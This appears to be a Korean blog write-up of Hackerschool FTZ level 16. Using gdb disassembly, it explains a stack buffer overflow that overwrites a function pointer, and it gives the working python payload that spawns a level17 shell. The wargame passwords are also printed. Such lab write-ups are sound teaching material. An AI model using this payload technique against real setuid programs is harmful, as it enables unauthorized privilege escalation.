뇌
[FTZ] level 16 → level 17 문제풀이 본문
level16 - id
: level16 , pw
: about to cause mass
[level16@ftz level16]$ ls
attackme attackme.c hint public_html tmp
[level16@ftz level16]$ cat attackme.c
cat: attackme.c: 허가 거부됨
[level16@ftz level16]$ cat hint
#include <stdio.h>
void shell() {
setreuid(3097,3097);
system("/bin/sh");
}
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
call();
}
[level16@ftz level16]$
printit 함수의 메모리 주소를 call 함수포인터에 저장한다.
그리고 변수 buf 에 표준입력으로 입력받고, printit 함수(call)를 호출한다.
여기서 buf 는 20byte 이지만 fgets 함수로 최대 48byte 만큼 입력 받기 때문에
BOF
취약점이 발생한다.
그러므로 *call 이 있는 위치에 shell 함수의 메모리 주소로 덮으면 쉘이 실행될 것이다.
attackme 파일을 gdb 로 분석해보자.
[level16@ftz level16]$ cp attackme tmp
[level16@ftz level16]$ cd tmp
[level16@ftz tmp]$ ls
attackme
[level16@ftz tmp]$ gdb -q attackme
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048518 <main+0>: push ebp
0x08048519 <main+1>: mov ebp,esp
0x0804851b <main+3>: sub esp,0x38
0x0804851e <main+6>: mov DWORD PTR [ebp-16],0x8048500
0x08048525 <main+13>: sub esp,0x4
0x08048528 <main+16>: push ds:0x80496e8
0x0804852e <main+22>: push 0x30
0x08048530 <main+24>: lea eax,[ebp-56]
0x08048533 <main+27>: push eax
0x08048534 <main+28>: call 0x8048384 <fgets>
0x08048539 <main+33>: add esp,0x10
0x0804853c <main+36>: mov eax,DWORD PTR [ebp-16]
0x0804853f <main+39>: call eax
0x08048541 <main+41>: leave
0x08048542 <main+42>: ret
0x08048543 <main+43>: nop
0x08048544 <main+44>: nop
0x08048545 <main+45>: nop
0x08048546 <main+46>: nop
0x08048547 <main+47>: nop
0x08048548 <main+48>: nop
0x08048549 <main+49>: nop
---Type <return> to continue, or q <return> to quit---
0x0804854a <main+50>: nop
0x0804854b <main+51>: nop
0x0804854c <main+52>: nop
0x0804854d <main+53>: nop
0x0804854e <main+54>: nop
0x0804854f <main+55>: nop
End of assembler dump.
(gdb)
0x08048530 <main+24> 부분을 보면 ebp-56 주소를 fgets 함수의 인자값으로 넘겨준다. ( fgets(buf,48,stdin); )
즉, buf 의 위치는 ebp-56 이다.
0x0804853c <main+36> 부분을 보면 eax 에 ebp-16 에 있는 값을 넣고, eax 에 있는 주소로 call 을 한다.
즉, eax 에는 printit 함수의 시작 메모리 주소가 들어갔을 것이고, *call 의 위치는 ebp-16 임을 알 수 있다.
그럼 ebp-16 에서 4byte 를 shell 함수의 시작 메모리 주소로 덮으면 되겠다.
shell 함수의 시작 메모리 주소를 찾아보자.
(gdb) disas shell
Dump of assembler code for function shell:
0x080484d0 <shell+0>: push ebp
0x080484d1 <shell+1>: mov ebp,esp
0x080484d3 <shell+3>: sub esp,0x8
0x080484d6 <shell+6>: sub esp,0x8
0x080484d9 <shell+9>: push 0xc19
0x080484de <shell+14>: push 0xc19
0x080484e3 <shell+19>: call 0x80483b4 <setreuid>
0x080484e8 <shell+24>: add esp,0x10
0x080484eb <shell+27>: sub esp,0xc
0x080484ee <shell+30>: push 0x80485b8
0x080484f3 <shell+35>: call 0x8048364 <system>
0x080484f8 <shell+40>: add esp,0x10
0x080484fb <shell+43>: leave
0x080484fc <shell+44>: ret
0x080484fd <shell+45>: lea esi,[esi]
End of assembler dump.
(gdb)
shell 함수의 시작 메모리 주소는 0x080484d0 이다.
buf(20) + dummy(20) + *call(4)
A | A | ... | A | \xd0 | \x84 | \x04 | \x08 |
↑ ↑
ebp-56 ( buf 시작주소 ) ebp-16 ( *call 시작주소 )
구조는 이렇다.
buf부터 dummy까지 ( 40byte ) A 로 덮고, 4byte 를 0x080484d0 로 덮으면 되겠다.
[level16@ftz tmp]$ cd ..
[level16@ftz level16]$ ls
attackme attackme.c hint public_html tmp
[level16@ftz level16]$ (python -c 'print "A"*40 + "\xd0\x84\x04\x08"';cat) | ./attackme
id
uid=3097(level17) gid=3096(level16) groups=3096(level16)
my-pass
Level17 Password is "king poetic".
level17 의 권한으로 쉘이 따졌다.
Level17 Password is "king poetic".
감사합니다
'Pwnable > 해커스쿨 FTZ write-up' 카테고리의 다른 글
[FTZ] level 18 → level 19 문제풀이 (0) | 2020.03.07 |
---|---|
[FTZ] level 17 → level 18 문제풀이 (0) | 2020.03.06 |
[FTZ] level 15 → level 16 문제풀이 (0) | 2020.03.06 |
[FTZ] level 14 → level 15 문제풀이 (0) | 2020.03.01 |
[FTZ] level 13 → level 14 문제풀이 (0) | 2020.02.29 |